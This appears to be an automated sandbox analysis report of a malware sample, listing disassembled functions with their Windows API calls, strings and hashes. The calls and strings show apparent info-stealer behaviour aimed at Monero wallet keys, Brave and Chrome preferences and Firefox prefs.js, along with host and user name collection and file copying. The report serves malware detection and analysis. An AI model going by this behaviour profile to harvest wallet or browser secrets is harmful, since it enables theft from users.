Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 05a858a21576b4e3d0006691147385f847666fd8fdd858e7160813641588ab6a
Instruction ID: 2fbd1b4d0ea1d0c690b5e823fdd7558e37f48811c3bcc6e8d3adf5a2e5970735
Opcode Fuzzy Hash: 05a858a21576b4e3d0006691147385f847666fd8fdd858e7160813641588ab6a
Instruction Fuzzy Hash: 62F0E971641208BBE71496A89C49FBBB7DCE705715F300848F644E3280D5715F00CA94

Function 005F1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 006078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00607910
Part of subcall function 006078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00607917
Part of subcall function 006078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0060792F

Part of subcall function 00607850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005F11B7), ref: 00607880
Part of subcall function 00607850: RtlAllocateHeap.NTDLL(00000000), ref: 00607887
Part of subcall function 00607850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0060789F

ExitProcess.KERNEL32 ref: 005F11C6

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 1c1d14a27356a79e4d16850b96e9f88f33c442bf93b758fcebdaf7c21e8775f3
Instruction ID: a2499f1dd95baa59af225f9043965b5ad7e625a26dd25f8bf01c75796d4de268
Opcode Fuzzy Hash: 1c1d14a27356a79e4d16850b96e9f88f33c442bf93b758fcebdaf7c21e8775f3
Instruction Fuzzy Hash: D2E0ECA5A5460956CA4873B0AC0BB2B369D7B54745F040828BA4592582FA29F800856E

Non-executed Functions

Function 006038B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006038CC
FindFirstFileA.KERNEL32(?,?), ref: 006038E3
lstrcat.KERNEL32(?,?), ref: 00603935
StrCmpCA.SHLWAPI(?,00610F70), ref: 00603947
StrCmpCA.SHLWAPI(?,00610F74), ref: 0060395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00603C67
FindClose.KERNEL32(000000FF), ref: 00603C7C

Strings

%s\%s\%s, xrefs: 00603A4A
%s\%s, xrefs: 00603A6F
%s\*, xrefs: 006038C0
%s%s, xrefs: 00603AAD
%s\%s, xrefs: 0060397A

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 5dbf1a800f7712277810fe1261d8a282a8f8db4ae88e93499f36ec97d052e0b3
Instruction ID: 1d125a89ae19e8d50763766b8eec57713cb22d22a215f4c68faa0115c8fe157a
Opcode Fuzzy Hash: 5dbf1a800f7712277810fe1261d8a282a8f8db4ae88e93499f36ec97d052e0b3
Instruction Fuzzy Hash: 94A162B1A402189FDB28DFA4DC85FFA737DBB94301F044588B64D96281EB759B84CF62

Function 005FBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

FindFirstFileA.KERNEL32(00000000,?,00610B32,00610B2B,00000000,?,?,?,006113F4,00610B2A), ref: 005FBEF5
StrCmpCA.SHLWAPI(?,006113F8), ref: 005FBF4D
StrCmpCA.SHLWAPI(?,006113FC), ref: 005FBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 005FC7BF
FindClose.KERNEL32(000000FF), ref: 005FC7D1

Strings

\Brave\Preferences, xrefs: 005FC1DB
Google Chrome, xrefs: 005FC634
Brave, xrefs: 005FC102
Preferences, xrefs: 005FC11E

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: b8097e73686ab1dde6b08aba3cadcfc96af421acc70d0d378aeb904000fb6a72
Instruction ID: 2a5fe819e0c2a02b6c7f618e72d80c44a4fed5548f7fb9550decf9455ac985c5
Opcode Fuzzy Hash: b8097e73686ab1dde6b08aba3cadcfc96af421acc70d0d378aeb904000fb6a72
Instruction Fuzzy Hash: 9A42957195020897CB58FBB0DD96EEF773EAB94340F40856CB906960C1EF349B49CB96

Function 00604910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0060492C
FindFirstFileA.KERNEL32(?,?), ref: 00604943
StrCmpCA.SHLWAPI(?,00610FDC), ref: 00604971
StrCmpCA.SHLWAPI(?,00610FE0), ref: 00604987
FindNextFileA.KERNEL32(000000FF,?), ref: 00604B7D
FindClose.KERNEL32(000000FF), ref: 00604B92

Strings

%s\*, xrefs: 00604920
%s\%s, xrefs: 006049FB
%s\%s, xrefs: 006049A4

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 7e696e83b37a71d026832ec6761364f75eb5d4c00ba998a10c708c30fd9b80f5
Instruction ID: dabebe04c0b642b6df42c1ca9feddd2360c78b22438e46f455b4c4cc24f89e6d
Opcode Fuzzy Hash: 7e696e83b37a71d026832ec6761364f75eb5d4c00ba998a10c708c30fd9b80f5
Instruction Fuzzy Hash: 9A6136B1500218ABCB28EBA0DC49FEB737DBB98701F04859CB64996181EF75DB85CF91

Function 00604570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00604580
RtlAllocateHeap.NTDLL(00000000), ref: 00604587
wsprintfA.USER32 ref: 006045A6
FindFirstFileA.KERNEL32(?,?), ref: 006045BD
StrCmpCA.SHLWAPI(?,00610FC4), ref: 006045EB
StrCmpCA.SHLWAPI(?,00610FC8), ref: 00604601
FindNextFileA.KERNEL32(000000FF,?), ref: 0060468B
FindClose.KERNEL32(000000FF), ref: 006046A0
lstrcat.KERNEL32(?,0140E540), ref: 006046C5
lstrcat.KERNEL32(?,0140CFF8), ref: 006046D8
lstrlen.KERNEL32(?), ref: 006046E5
lstrlen.KERNEL32(?), ref: 006046F6

Strings

%s\*, xrefs: 0060459A
%s\%s, xrefs: 0060461B

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 1096103f201c6971911064898cf5989502c62d928dc579930d4e2ca1c392b893
Instruction ID: fcd18d50e5c990162ff76fc2fbe75f3cff6439675666a45364cb3db188e30808
Opcode Fuzzy Hash: 1096103f201c6971911064898cf5989502c62d928dc579930d4e2ca1c392b893
Instruction Fuzzy Hash: 4B5155B15402189FCB68EB70DC89FEA737DBB98300F404998F68992190EF75DB858F91

Function 00603EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00603EC3
FindFirstFileA.KERNEL32(?,?), ref: 00603EDA
StrCmpCA.SHLWAPI(?,00610FAC), ref: 00603F08
StrCmpCA.SHLWAPI(?,00610FB0), ref: 00603F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0060406C
FindClose.KERNEL32(000000FF), ref: 00604081

Strings

%s\%s, xrefs: 00603EB7

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 68c654e0ecde6b541ecada8901756362059b7c945c5f19a06f70f2dd08cb27a3
Instruction ID: f886ace87de43d57e5994c5592b669bab4e3a6abda0fba20edc7b0c41334ff2e
Opcode Fuzzy Hash: 68c654e0ecde6b541ecada8901756362059b7c945c5f19a06f70f2dd08cb27a3
Instruction Fuzzy Hash: 5D5168B1900218AFCB28FBB4DC85EEA737DBB84300F00459CB79996180DB75DB858F55

Function 005FED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005FED3E
FindFirstFileA.KERNEL32(?,?), ref: 005FED55
StrCmpCA.SHLWAPI(?,00611538), ref: 005FEDAB
StrCmpCA.SHLWAPI(?,0061153C), ref: 005FEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 005FF2AE
FindClose.KERNEL32(000000FF), ref: 005FF2C3

Strings

%s\*.*, xrefs: 005FED32

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 0b10e7f9b96e4bc357b10534b96351b9e882da941eb535f48a68b3e368362d6a
Instruction ID: 16571f8da0ade0db7c7ff2eebc65e292b01d18aa7469ec27d0be78e529588f99
Opcode Fuzzy Hash: 0b10e7f9b96e4bc357b10534b96351b9e882da941eb535f48a68b3e368362d6a
Instruction Fuzzy Hash: 3BE1C4719512189AEB98FBA0DC52EEF733AAF54340F40459DB506620D2EF306F8ACF55

Function 009B66B6 Relevance: 16.7, Strings: 12, Instructions: 1651COMMON

Download Yara Rule

Strings

{8[_, xrefs: 009B759D
d~*w, xrefs: 009B6E5D
~{, xrefs: 009B6974
k3l, xrefs: 009B78CC
)Nsr, xrefs: 009B7890
$-, xrefs: 009B6992
b@z, xrefs: 009B6F08
Uh'}, xrefs: 009B66ED
Ai~~, xrefs: 009B79A6
?U}N, xrefs: 009B6D91
n3l, xrefs: 009B78BF
Qgog, xrefs: 009B71D2

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $-$)Nsr$?U}N$Ai~~$Qgog$Uh'}$b@z$d~*w$k3l$n3l${8[_$~{
API String ID: 0-4286980269
Opcode ID: d882fba17a01a4495af7338beaf4b00a254090b93335bb2708cfacfc5b9eb441
Instruction ID: 02b7c932c8ecc84dcf12c1ed530e71011195cff57b0a45f9d0dd7eba2d1d5fab
Opcode Fuzzy Hash: d882fba17a01a4495af7338beaf4b00a254090b93335bb2708cfacfc5b9eb441
Instruction Fuzzy Hash: 84B202F360C2009FE3046E29EC8567AFBE9EF94320F164A3DE6C587744EA7598058697

Function 005FF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006115B8,00610D96), ref: 005FF71E
StrCmpCA.SHLWAPI(?,006115BC), ref: 005FF76F
StrCmpCA.SHLWAPI(?,006115C0), ref: 005FF785
FindNextFileA.KERNEL32(000000FF,?), ref: 005FFAB1
FindClose.KERNEL32(000000FF), ref: 005FFAC3

Strings

prefs.js, xrefs: 005FF812

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: e6685d3f6784f6be6fcd1d2510057626462d588851e8cf3e72dd0db8137c67f4
Instruction ID: 1c44c783e69bb9c2f3720ef5d95e169c1877baf2afa03de4eb2c18990f5959ea
Opcode Fuzzy Hash: e6685d3f6784f6be6fcd1d2510057626462d588851e8cf3e72dd0db8137c67f4
Instruction Fuzzy Hash: 65B164719402089BDB68FFA0DC95FEE777ABF94340F0085ACA50A961C1EF345B49CB96

Function 005F16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0061510C,?,?,?,006151B4,?,?,00000000,?,00000000), ref: 005F1923
StrCmpCA.SHLWAPI(?,0061525C), ref: 005F1973
StrCmpCA.SHLWAPI(?,00615304), ref: 005F1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005F1D40
DeleteFileA.KERNEL32(00000000), ref: 005F1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 005F1E20
FindClose.KERNEL32(000000FF), ref: 005F1E32

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
